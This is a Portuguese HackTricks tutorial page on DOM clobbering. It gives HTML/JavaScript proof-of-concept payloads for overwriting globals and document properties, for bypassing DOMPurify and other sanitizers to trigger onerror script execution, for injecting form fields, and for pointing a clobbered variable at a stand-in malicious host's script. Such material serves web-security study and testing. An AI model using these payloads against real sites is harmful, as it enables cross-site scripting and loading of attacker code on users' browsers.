Dom Clobbering

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Fundamentos

É possível gerar variáveis globais dentro do contexto JS com os atributos id e name em tags HTML.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Apenas certos elementos podem usar o atributo name para sobrescrever variáveis globais, eles são: embed, form, iframe, image, img e object.

Interessantemente, quando você usa um elemento de formulário para sobrescrever uma variável, você obterá o valor do toString do próprio elemento: [object HTMLFormElement] mas com âncora o toString será o href da âncora. Portanto, se você sobrescrever usando a tag a, você pode controlar o valor quando ele é tratado como uma string:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Arrays & Atributos

Também é possível sobrescrever um array e atributos de um objeto:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Para sobrescrever um terceiro atributo (por exemplo, x.y.z), você precisa usar um form:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Substituir mais atributos é mais complicado, mas ainda possível, usando iframes:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

A tag style é usada para dar tempo suficiente ao iframe para ser renderizado. Sem ela, você encontrará um alerta de indefinido.

Para sobrescrever atributos mais profundos, você pode usar iframes com codificação html desta forma:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Burlando Filtros

Se um filtro está iterando pelas propriedades de um nó usando algo como document.getElementByID('x').attributes, você poderia sobrescrever o atributo .attributes e quebrar o filtro. Outras propriedades do DOM como tagName, nodeName ou parentNode e mais também são sobrescrevíveis.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Sobreposição de window.someObject

Em JavaScript é comum encontrar:

var someObject = window.someObject || {};

Manipular o HTML na página permite substituir someObject por um nó DOM, potencialmente introduzindo vulnerabilidades de segurança. Por exemplo, você pode substituir someObject por um elemento de âncora apontando para um script malicioso:

<a id=someObject href=//malicious-website.com/malicious.js></a>

Em um código vulnerável como:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Este método explora a fonte do script para executar código indesejado.

Truque: DOMPurify permite usar o protocolo cid:, que não codifica em URL as aspas duplas. Isso significa que você pode injetar uma aspa dupla codificada que será decodificada em tempo de execução. Portanto, injetar algo como <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> fará com que o &quot; codificado em HTML seja decodificado em tempo de execução e escapar do valor do atributo para criar o evento onerror.

Outra técnica usa um elemento form. Certas bibliotecas do lado do cliente inspecionam os atributos de um elemento de formulário recém-criado para limpá-los. No entanto, ao adicionar um input com id=attributes dentro do formulário, você efetivamente sobrescreve a propriedade de atributos, impedindo o sanitizador de acessar os atributos reais.

Você pode encontrar um exemplo desse tipo de clobbering neste relatório de CTF.

Sobrescrevendo o objeto documento

De acordo com a documentação, é possível sobrescrever atributos do objeto documento usando o DOM Clobbering:

A interface Document suporta propriedades nomeadas. Os nomes de propriedades suportados de um objeto Document document em qualquer momento consistem no seguinte, em ordem de árvore de acordo com o elemento que os contribuiu, ignorando duplicatas posteriores e com valores dos atributos id vindo antes dos valores dos atributos de nome quando o mesmo elemento contribui com ambos:

- O valor do atributo de conteúdo de nome para todos os elementos expostos embed, form, iframe, img e elementos expostos object que têm um atributo de conteúdo de nome não vazio e estão em uma árvore de documentos com o documento como sua raiz; - O valor do atributo de conteúdo id para todos os elementos expostos object que têm um atributo de conteúdo id não vazio e estão em uma árvore de documentos com o documento como sua raiz; - O valor do atributo de conteúdo id para todos os elementos img que têm tanto um atributo de conteúdo id não vazio quanto um atributo de conteúdo de nome não vazio, e estão em uma árvore de documentos com o documento como sua raiz.

Usando essa técnica, você pode sobrescrever valores comumente usados como document.cookie, document.body, document.children e até métodos na interface Document como document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Escrevendo após o elemento sobrescrito

Os resultados das chamadas para document.getElementById() e document.querySelector() podem ser alterados injetando uma tag <html> ou <body> com um atributo id idêntico. Veja como pode ser feito:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Além disso, ao empregar estilos para ocultar essas tags HTML/body injetadas, a interferência de outros textos no innerText pode ser evitada, aumentando assim a eficácia do ataque:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Investigações sobre SVG revelaram que uma tag <body> também pode ser utilizada de forma eficaz:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Para que a tag HTML funcione dentro do SVG em navegadores como o Chrome e o Firefox, é necessário uma tag <foreignobject>:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Substituindo Formulários

É possível adicionar novas entradas dentro de um formulário apenas especificando o atributo form dentro de algumas tags. Você pode usar isso para adicionar novos valores dentro de um formulário e até mesmo adicionar um novo botão para enviá-lo (clickjacking ou abusando de algum código JS .click()):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Last updated